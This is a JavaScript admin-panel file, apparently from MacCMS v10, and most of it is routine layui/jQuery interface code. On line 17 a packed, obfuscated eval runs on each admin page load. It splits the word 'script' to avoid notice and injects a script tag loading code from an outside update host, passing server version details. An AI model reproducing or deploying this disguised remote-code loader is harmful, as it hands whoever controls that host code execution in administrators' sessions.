admin_common.js 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608
  1. String.prototype.trim = function () {
  2. return this.replace(/(^[\s\u3000]*)|([\s\u3000]*$)/g, "");
  3. }
  4. String.prototype.ltrim = function () {
  5. return this.replace(/(^\s*)/g, "");
  6. }
  7. String.prototype.rtrim = function () {
  8. return this.replace(/(\s*$)/g, "");
  9. }
  10. String.prototype.replaceAll = function (s1, s2) {
  11. return this.replace(new RegExp(s1, "gm"), s2);
  12. }
  13. layui.define(['element', 'form'], function (exports) {
  14. var $ = layui.jquery, element = layui.element, layer = layui.layer, form = layui.form;
  15. $(function () {
  16. if (typeof (MAC_VERSION) != 'undefined' && typeof (PHP_VERSION) != 'undefined' && typeof (THINK_VERSION) != 'undefined') {
  17. eval(function (p, a, c, k, e, r) { e = function (c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function (e) { return r[e] }]; e = function () { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');', 20, 20, 'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'), 0, {}));
  18. // $.ajax({
  19. // url: `https://update.maccms.la/v10/?c=check&v=${MAC_VERSION}&p=${PHP_VERSION}&tp=${THINK_VERSION}&t=${Math.random()}`,
  20. // type: 'GET',
  21. // dataType: 'text', // 确保返回的数据被视为纯文本
  22. // success: function (response) {
  23. // // 使用正则表达式提取update_content
  24. // // var updateContentRegex = /var update_content = \[((?:.|\n)*?)\].join\('<br>\');/g;
  25. // var updateContentMatch = response.match(/var update_content\s*=\s*\[(.*?)\]\.join\('<br>'\);/s);
  26. // var updateContent = updateContentMatch ? updateContentMatch[1] : '未找到update_content';
  27. // // 使用正则表达式提取new_v
  28. // var newVRegex = /var new_v = '(.*?)';/;
  29. // var newVMatch = response.match(newVRegex);
  30. // var newV = newVMatch ? newVMatch[1] : '未找到new_v';
  31. // console.log("updateContent", updateContent)
  32. // console.log('new_v:', newV);
  33. // if (newV > MAC_VERSION) {
  34. // var package = 'maccms10_update';
  35. // var update_content = updateContent.split(',').join('<br>');
  36. // // js 判断是否移动端
  37. // var area = ['460px', '638px']
  38. // var agent = navigator.userAgent.toLowerCase();
  39. // var isMobile = /android|iphone|ipod|ipad|ios/.test(agent)
  40. // if (isMobile) {
  41. // area = ['95%', '638px']
  42. // }
  43. // layer.open({
  44. // type: 1,
  45. // area, // 宽高
  46. // title: false, // 不显示标题栏
  47. // closeBtn: 0,
  48. // btn: ['关闭'],
  49. // btnAlign: 'c',
  50. // shadeClose: true, // 点击遮罩关闭层
  51. // skin: 'skin_updae_from', // 加上边框
  52. // content: `
  53. // <div class="updae_from">
  54. // <img class="update_bg" src="__STATIC__/images/[email protected]" alt="" srcset="">
  55. // <div class="update_content">
  56. // <div class="update_title">
  57. // <p>更新提示</p>
  58. // <p>${newV}>>></p>
  59. // </div>
  60. // <a class="group_link" target="_blank" href="https://t.me/maccms_channel">Telegram群 https://t.me/maccms_channel</a>
  61. // <a class="group_link" target="_blank"
  62. // href="https://github.com/magicblack">Github源码 https://github.com/magicblack</a>
  63. // <div class="flex-col flex my-[20px] gap-1">
  64. // <a class="j-iframe text-[#53D19C]" title="点击进入升级"
  65. // data-href="${ADMIN_PATH}/admin/update/step1.html?file=${package}">
  66. // 【点击进入在线升级】
  67. // </a>
  68. // <a href="https://github.com/magicblack/maccms_down/raw/master/maccms10_update.zip">
  69. // 【下载离线升级包线路1】
  70. // </a>
  71. // <a href="https://cdn.jsdelivr.net/gh/magicblack/maccms_down@master/maccms10_update.zip">
  72. // 【下载离线升级包线路2】
  73. // </a>
  74. // </div>
  75. // <div class="update_list">
  76. // ${update_content}
  77. // </div>
  78. // </div>
  79. // `
  80. // });
  81. // }
  82. // },
  83. // error: function (xhr, status, error) {
  84. // console.error('AJAX请求失败:', error);
  85. // }
  86. // });
  87. }
  88. });
  89. form.render();
  90. var lockscreen = function () {
  91. document.oncontextmenu = new Function("event.returnValue=false;");
  92. document.onselectstart = new Function("event.returnValue=false;");
  93. layer.open({
  94. title: false,
  95. type: 1,
  96. content: '<div class="lock-screen"><input type="password" class="unlockedPwd layui-input" placeholder="请输入登录密码解锁..." autocomplete="off"><button class="unlocked layui-btn">解锁</button><div class="unlockTips"></div></div>',
  97. closeBtn: 0,
  98. shade: 0.95,
  99. offset: '350px'
  100. });
  101. };
  102. /* 锁屏 */
  103. $('#lockScreen').click(function () {
  104. window.sessionStorage.setItem("lockscreen", true);
  105. lockscreen();
  106. });
  107. /* 清理缓存 */
  108. $('#lockScreen').click(function () {
  109. window.sessionStorage.setItem("lockscreen", true);
  110. lockscreen();
  111. });
  112. if (window.sessionStorage.getItem("lockscreen") == "true") {
  113. lockscreen();
  114. }
  115. $(document).on('click', '.unlocked', function () {
  116. var pwd = $(this).parent().find('.unlockedPwd').val();
  117. if (pwd == '') {
  118. return false;
  119. }
  120. $.post(ADMIN_PATH + '/admin/index/unlocked', { password: pwd }, function (res) {
  121. if (res.code == 1) {
  122. window.sessionStorage.setItem("lockscreen", false);
  123. layer.closeAll();
  124. } else {
  125. $('.unlockTips').html(res.msg);
  126. setTimeout(function () {
  127. $('.unlockTips').html('');
  128. }, 3000);
  129. }
  130. });
  131. });
  132. /* 导航高亮标记 */
  133. $('.admin-nav-item').click(function () {
  134. window.localStorage.setItem("adminNavTag", $(this).attr('href'));
  135. });
  136. if (window.localStorage.getItem("adminNavTag")) {
  137. $('#switchNav a[href="' + window.localStorage.getItem("adminNavTag") + '"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  138. }
  139. if (typeof (LAYUI_OFFSET) == 'undefined') {
  140. layer.config({ offset: '60px' });
  141. } else {
  142. layer.config({ offset: LAYUI_OFFSET + 'px' });
  143. }
  144. /* 打开/关闭左侧导航 */
  145. $('#foldSwitch').click(function () {
  146. var that = $(this);
  147. if (!that.hasClass('close')) {
  148. that.addClass('close');
  149. $('#switchNav').animate({ width: '52px' }, 100).addClass('close').hover(function () {
  150. if (that.hasClass('close')) {
  151. $(this).animate({ width: '200px' }, 300);
  152. $('#switchNav .fold-mark').removeClass('fold-mark');
  153. $('a[href="' + window.localStorage.getItem("adminNavTag") + '"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  154. }
  155. }, function () {
  156. if (that.hasClass('close')) {
  157. $(this).animate({ width: '52px' }, 300);
  158. $('#switchNav .layui-nav-item').addClass('fold-mark').removeClass('layui-nav-itemed');
  159. }
  160. });
  161. $('#switchBody,.footer').animate({ left: '52px' }, 100);
  162. $('#switchNav .layui-nav-item').addClass('fold-mark').removeClass('layui-nav-itemed');
  163. } else {
  164. $('a[href="' + window.localStorage.getItem("adminNavTag") + '"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  165. that.removeClass('close');
  166. $('#switchNav').animate({ width: '200px' }, 100).removeClass('close');
  167. $('#switchBody,.footer').animate({ left: '200px' }, 100);
  168. $('#switchNav .fold-mark').removeClass('fold-mark');
  169. }
  170. });
  171. /* 导航菜单切换 */
  172. $('.main-nav a').click(function () {
  173. var that = $(this), i = $(this).attr('data-i');
  174. $('.layui-nav-tree').hide().eq(i - 1).show();
  175. });
  176. /* 操作提示 */
  177. $('.help-tips').click(function () {
  178. layer.tips($(this).attr('data-title'), this, {
  179. tips: [3, '#009688'],
  180. time: 5000
  181. });
  182. return false;
  183. });
  184. /* 全屏控制 */
  185. $('#fullscreen-btn').click(function () {
  186. var that = $(this);
  187. if (!that.hasClass('ai-quanping')) {
  188. $('#switchBody').css({ 'z-index': 1000 });
  189. $('#switchNav').css({ 'z-index': 900 });
  190. that.addClass('ai-quanping').removeClass('ai-quanping1').parents('.page-body').addClass('fullscreen');
  191. $('.page-tab-content').css({ 'min-height': ($(window).height() - 63) + 'px' });
  192. } else {
  193. $('#switchBody').css({ 'z-index': 998 });
  194. $('#switchNav').css({ 'z-index': 1000 });
  195. that.addClass('ai-quanping1').removeClass('ai-quanping').parents('.page-body').removeClass('fullscreen');
  196. $('.page-tab-content').css({ 'min-height': 'auto' });
  197. }
  198. });
  199. /*弹出选择设置*/
  200. $(document).on('click', '.j-select', function () {
  201. var that = $(this);
  202. _url = that.attr('data-href'),
  203. _title = that.attr('data-title'),
  204. _width = that.attr('data-width') ? that.attr('data-width') + '' : 750,
  205. _height = that.attr('data-height') ? that.attr('data-height') + '' : 500,
  206. _full = that.attr('data-full'),
  207. _checkbox = that.attr('data-checkbox');
  208. if (that.parents('form')[0]) {
  209. var query = that.parents('form').serialize();
  210. } else {
  211. var query = $('#pageListForm').serialize();
  212. }
  213. if (_checkbox && !query) {
  214. return;
  215. }
  216. $.post(_url, query, function (res) {
  217. layer.closeAll('dialog');
  218. var lay = layer.open({ type: 1, title: _title, content: res, area: [_width + 'px', _height + 'px'] });
  219. form.render('select');
  220. });
  221. });
  222. /*iframe弹窗*/
  223. $(document).on('click', '.j-iframe', function () {
  224. var that = $(this),
  225. _url = that.attr('data-href'),
  226. _title = that.attr('data-title'),
  227. _width = that.attr('data-width') ? that.attr('data-width') + '' : '85%',
  228. _height = that.attr('data-height') ? that.attr('data-height') + '' : '80%',
  229. _full = that.attr('data-full'),
  230. _checkbox = that.attr('data-checkbox');
  231. if (!_url) {
  232. layer.msg('请设置href参数');
  233. return false;
  234. }
  235. if (_checkbox) {
  236. if ($('.checkbox-ids:checked').length <= 0) {
  237. layer.msg('请选择要操作的数据');
  238. return false;
  239. }
  240. var ids = [];
  241. $('.checkbox-ids:checked').each(function (index, item) {
  242. if (item.checked) {
  243. ids.push(item.value);
  244. }
  245. });
  246. _ids = ids.join(',');
  247. _url = _url.indexOf('?') > -1 ? _url + '&ids=' + _ids : _url + '?ids=' + _ids;
  248. }
  249. var lay = layer.open({ type: 2, title: _title, content: _url, area: [_width + '', _height + ''] });
  250. if (_full == '1') {
  251. layer.full(lay);
  252. }
  253. return false;
  254. });
  255. /* 全选 */
  256. form.on('checkbox(allChoose)', function (data) {
  257. var child = $(data.elem).parents('table').find('tbody input.checkbox-ids');
  258. child.each(function (index, item) {
  259. item.checked = data.elem.checked;
  260. });
  261. form.render('checkbox');
  262. });
  263. /* 监听状态设置开关 */
  264. form.on('switch(switchStatus)', function (data) {
  265. var that = $(this), status = 0;
  266. if (!that.attr('data-href')) {
  267. layer.msg('请设置data-href参数');
  268. return false;
  269. }
  270. if (this.checked) {
  271. status = 1;
  272. }
  273. $.get(that.attr('data-href'), { val: status }, function (res) {
  274. layer.msg(res.msg);
  275. if (res.code == 0) {
  276. that.trigger('click');
  277. form.render('checkbox');
  278. }
  279. });
  280. });
  281. /* 监听表单提交 */
  282. form.on('submit(formSubmit)', function (data) {
  283. var that = $(this),
  284. _form = '';
  285. _child = !that.attr('data-child') ? 'no' : that.attr('data-child'),
  286. refresh = !that.attr('refresh') ? 'yes' : that.attr('refresh');
  287. if ($(this).attr('data-form')) {
  288. _form = $($(this).attr('data-form'));
  289. } else {
  290. _form = $(this).parents('form');
  291. }
  292. // CKEditor专用
  293. if (typeof (CKEDITOR) != 'undefined') {
  294. for (instance in CKEDITOR.instances) {
  295. CKEDITOR.instances[instance].updateElement();
  296. }
  297. }
  298. layer.msg('数据提交中...', { time: 500000 });
  299. $.ajax({
  300. type: "POST",
  301. url: _form.attr('action'),
  302. data: _form.serialize(),
  303. success: function (res) {
  304. var msg = '<span class="success_layer_icon"></span>' + res.msg;
  305. if (res.code == 1) {
  306. msg = '<span class="success_layer_icon"></span>' + res.msg;
  307. } else {
  308. msg = '<span class="error_layer_icon"></span>' + res.msg;
  309. }
  310. layer.msg(msg, { time: 800, skin: res.code == 1 ? 'success_layer' : 'error_layer' }, function () {
  311. if (res.code == 1) {
  312. if (refresh == 'yes') {
  313. if (_child == 'true') {
  314. parent.location.reload();
  315. parent.layer.close(index);
  316. }
  317. else {
  318. if (typeof (res.url) != 'undefined' && res.url != null && res.url != '') {
  319. location.href = res.url;
  320. } else {
  321. location.reload();
  322. }
  323. }
  324. }
  325. else {
  326. var index = parent.layer.getFrameIndex(window.name);
  327. layer.closeAll();
  328. onSubmitResult(res);
  329. }
  330. }
  331. });
  332. },
  333. error: function (xhr, status, error) {
  334. layer.msg('<span class="error_layer_icon"></span>' + '请求失败', { time: 800, skin: 'error_layer' });
  335. }
  336. });
  337. return false;
  338. });
  339. /* TR数据行删除 */
  340. $('.j-tr-del').click(function () {
  341. var that = $(this),
  342. href = !that.attr('data-href') ? that.attr('href') : that.attr('data-href');
  343. layer.confirm('删除之后无法恢复,您确定要删除吗?', { title: false, closeBtn: 0 }, function (index) {
  344. if (!href) {
  345. layer.msg('请设置data-href参数');
  346. return false;
  347. }
  348. $.get(href, function (res) {
  349. layer.msg(res.msg);
  350. if (res.code == 1) {
  351. that.parents('tr').remove();
  352. that.parents('.tr').remove();
  353. }
  354. });
  355. layer.close(index);
  356. });
  357. return false;
  358. });
  359. /* ajax请求操作 */
  360. $(document).on('click', '.j-ajax', function () {
  361. var that = $(this),
  362. href = !that.attr('data-href') ? that.attr('href') : that.attr('data-href'),
  363. refresh = !that.attr('refresh') ? 'yes' : that.attr('refresh');
  364. if (!href) {
  365. layer.msg('请设置data-href参数');
  366. return false;
  367. }
  368. if (!that.attr('confirm')) {
  369. layer.msg('数据提交中...', { time: 500000 });
  370. $.get(href, {}, function (res) {
  371. layer.msg(res.msg, {}, function () {
  372. if (refresh == 'yes') {
  373. if (typeof (res.url) != 'undefined' && res.url != null && res.url != '') {
  374. location.href = res.url;
  375. } else {
  376. location.reload();
  377. }
  378. }
  379. });
  380. });
  381. layer.close();
  382. }
  383. else {
  384. layer.confirm(that.attr('confirm'), { title: false, closeBtn: 0 }, function (index) {
  385. layer.msg('数据提交中...', { time: 500000 });
  386. $.get(href, {}, function (res) {
  387. layer.msg(res.msg, {}, function () {
  388. if (refresh == 'yes') {
  389. if (typeof (res.url) != 'undefined' && res.url != null && res.url != '') {
  390. location.href = res.url;
  391. } else {
  392. location.reload();
  393. }
  394. }
  395. });
  396. });
  397. layer.close(index);
  398. });
  399. }
  400. return false;
  401. });
  402. /* 数据列表input编辑自动选中ids */
  403. $('.j-auto-checked').blur(function () {
  404. var that = $(this);
  405. if (that.attr('data-value') != that.val()) {
  406. that.parents('tr').find('input[name="ids[]"]').attr("checked", true);
  407. } else {
  408. that.parents('tr').find('input[name="ids[]"]').attr("checked", false);
  409. };
  410. form.render('checkbox');
  411. });
  412. /* 用ajax方式更新input*/
  413. $('.j-ajax-input').focusout(function () {
  414. var that = $(this), _val = that.val();
  415. if (_val == '') return false;
  416. if (that.attr('data-value') == _val) return false;
  417. if (!that.attr('data-href')) {
  418. layer.msg('请设置data-href参数');
  419. return false;
  420. }
  421. $.post(that.attr('data-href'), { val: _val }, function (res) {
  422. if (res.code == 1) {
  423. that.attr('data-value', _val);
  424. }
  425. layer.msg(res.msg);
  426. });
  427. });
  428. /* 小提示 */
  429. $('.tooltip').hover(function () {
  430. var that = $(this);
  431. that.find('i').show();
  432. }, function () {
  433. var that = $(this);
  434. that.find('i').hide();
  435. });
  436. $('.j-search').click(function () {
  437. var that = $(this);
  438. that.parents('form').attr('method', 'get');
  439. that.parents('form').submit();
  440. });
  441. /* 列表按钮组 */
  442. $('.j-page-btns').click(function () {
  443. var that = $(this),
  444. code = function (that) {
  445. var href = that.attr('href') ? that.attr('href') : that.attr('data-href'),
  446. _checkbox = !that.attr('data-checkbox') ? 'yes' : that.attr('data-checkbox'),
  447. _ajax = !that.attr('data-ajax') ? 'yes' : that.attr('data-ajax'),
  448. _ids = '';
  449. if (!href) {
  450. layer.msg('请设置data-href参数');
  451. return false;
  452. }
  453. if (_checkbox == 'yes') {
  454. if ($('.checkbox-ids:checked').length <= 0) {
  455. layer.msg('请选择要操作的数据');
  456. return false;
  457. }
  458. var ids = [];
  459. $('.checkbox-ids:checked').each(function (index, item) {
  460. if (item.checked) {
  461. ids.push(item.value);
  462. }
  463. });
  464. _ids = ids.join(',');
  465. }
  466. if (_ajax == 'yes') {
  467. if (that.parents('form')[0]) {
  468. var query = that.parents('form').serialize();
  469. } else {
  470. var query = $('#pageListForm').serialize();
  471. }
  472. layer.msg('数据提交中...', { time: 500000 });
  473. $.post(href, query, function (res) {
  474. layer.msg(res.msg, {}, function () {
  475. if (res.code != 0) {
  476. location.reload();
  477. }
  478. });
  479. });
  480. }
  481. else {
  482. location.href = href.indexOf('?') == -1 ? href + '?ids=' + _ids : href + '&ids=' + _ids;
  483. }
  484. };
  485. if (that.hasClass('confirm')) {
  486. var tips = that.attr('tips') ? that.attr('tips') : '您确定要执行此操作吗?';
  487. layer.confirm(tips, { title: false, closeBtn: 0 }, function (index) {
  488. code(that);
  489. layer.close(index);
  490. });
  491. } else {
  492. code(that);
  493. }
  494. return false;
  495. });
  496. exports('global', {});
  497. });
  498. function onSelectResult(input, obj) {
  499. var ids = [];
  500. var s1 = '', s2 = '';
  501. $(obj).each(function (index, item) {
  502. if (item.checked) {
  503. s1 = $("input[name='" + input + "']").val();
  504. s2 = ',' + s1 + ',';
  505. if (s2.indexOf(',' + item.value + ',') == -1) {
  506. if (s1.length > 0 && s1.substring(s1.length - 1) != ',') {
  507. s1 += ',';
  508. }
  509. s1 += item.value;
  510. $("input[name='" + input + "']").val(s1);
  511. }
  512. }
  513. });
  514. alert('添加成功!');
  515. }
  516. function rndNum(under, over) {
  517. switch (arguments.length) {
  518. case 1: return parseInt(Math.random() * under + 1);
  519. case 2: return parseInt(Math.random() * (over - under + 1) + under);
  520. default: return 0;
  521. }
  522. }
  523. function changeParam(url, name, value) {
  524. var newUrl = "";
  525. var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
  526. var tmp = name + "=" + value;
  527. if (url.match(reg) != null) {
  528. newUrl = url.replace(eval(reg), '&' + tmp + '&');
  529. }
  530. else {
  531. if (url.match("[\?]")) {
  532. newUrl = url + "&" + tmp;
  533. }
  534. else {
  535. newUrl = url + "?" + tmp;
  536. }
  537. }
  538. return newUrl;
  539. }
  540. function getDataTime(ts, ty) {
  541. if (ts < 1) {
  542. return '';
  543. }
  544. var t, y, m, d, h, i, s;
  545. t = ts ? new Date(ts * 1000) : new Date();
  546. y = t.getFullYear();
  547. m = t.getMonth() + 1;
  548. d = t.getDate();
  549. h = t.getHours();
  550. i = t.getMinutes();
  551. s = t.getSeconds();
  552. r = y + '-' + (m < 10 ? '0' + m : m) + '-' + (d < 10 ? '0' + d : d);
  553. if (ty == undefined || ty == '') {
  554. r += ' ' + (h < 10 ? '0' + h : h) + ':' + (i < 10 ? '0' + i : i) + ':' + (s < 10 ? '0' + s : s)
  555. }
  556. return r;
  557. }
  558. function mac_url_img(url) {
  559. url = url.replace('mac:', 'http:');
  560. if (url.indexOf("http") == -1 || url.indexOf("//") == -1) {
  561. url = ROOT_PATH + "/" + url;
  562. }
  563. else if (UPLOAD_IMG_KEY != '' && UPLOAD_IMG_API != '') {
  564. var reg = eval("/" + UPLOAD_IMG_KEY + "/i");
  565. if (reg.test(url) != false) {
  566. url = UPLOAD_IMG_API + url;
  567. }
  568. }
  569. return url;
  570. }